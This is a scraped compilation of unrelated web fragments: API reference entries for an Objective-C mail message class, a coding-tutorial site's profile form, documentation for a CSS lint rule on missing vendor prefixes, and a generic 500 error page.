- (void)addImage:(UIImage *)image withName:(NSString *)name type:(ImageAttachmentType)type inline:(BOOL)inlineAttachment
Parameters
- name
The name used to identify this attachment in the message. Must not be nil.
- type
The
ImageAttachmentType
to identify this image as a JPEG or a PNG.
Declared In
MGMessage.h
addRecipient:
Adds an additional recipient to the receiver.
- (void)addRecipient:(NSString *)recipient
Declared In
MGMessage.h
addTag:
Adds a single tag to this recevier’s metadata.
- (void)addTag:(NSString *)tag
Declared In
MGMessage.h
addVariable:value:
Adds a variable and a value to the receiver.
- (void)addVariable:(NSString *)var value:(NSString *)value
Parameters
- var
The variable name. Must not be nil.
- value
The value of the variable to display in the message.
Declared In
MGMessage.h
initWithFrom:to:subject:body:
The designated initializer to create a message with the provided details.
- (id)initWithFrom:(NSString *)from to:(NSString *)to subject:(NSString *)subject body:(NSString *)body
Parameters
- from
The message sender. Must not be nil.
- to
The message recipient. Must not be nil.
- subject
The message subject. Must not be nil.
- body
The body of the message.
Declared In
MGMessage.h


Welcome to Codebito
Learn Coding
Home
Home
Videos
Virtual Reality
Virtual Reality
About us
Profile
Name
User Id
Password
E-mail
Contact Number
Gender
Male
Female
Address
Submit
Reset


Experimental CSS properties are typically implemented using vendor prefixes until the final behavior has been established and agreed upon. Most CSS3 properties have vendor-prefixed equivalents for multiple vendors, including Firefox (-moz
), Safari/Chrome (-webkit
), Opera (-o
), and Internet Explorer (-ms
). It's easy to forget to include the vendor prefixed version of a property when there are so many to keep track of.
The following properties have multiple vendor-prefixed versions:
animation
animation-delay
animation-direction
animation-duration
animation-fill-mode
animation-iteration-count
animation-name
animation-play-state
animation-timing-function
appearance
border-end
border-end-color
border-end-style
border-end-width
border-image
border-radius
border-start
border-start-color
border-start-style
border-start-width
box-align
box-direction
box-flex
box-lines
box-ordinal-group
box-orient
box-pack
box-sizing
box-shadow
column-count
column-gap
column-rule
column-rule-color
column-rule-style
column-rule-width
column-width
hyphens
line-break
margin-end
margin-start
marquee-speed
marquee-style
padding-end
padding-start
tab-size
text-size-adjust
transform
transform-origin
transition
transition-delay
transition-duration
transition-property
transition-timing-function
user-modify
user-select
word-break
writing-mode
If you want the same CSS effects across all browsers, then it's important to remember the vendor-prefixed properties for all supporting browsers.
Rule ID: compatible-vendor-prefixes
This rule is intended to warn when a vendor-prefixed property is missing. The supported properties are listed in the previous section.
The following patterns are considered warnings:
/* Missing -moz, -ms, and -o */
.mybox {
-webkit-transform: translate(50px, 100px);
}
/* Missing -webkit */
.mybox {
-moz-border-radius: 5px;
}


500 Error
An internal server error has occured.
Don't worry though, you can find your bearings from the home page
An internal server error has occured.
Don't worry though, you can find your bearings from the home page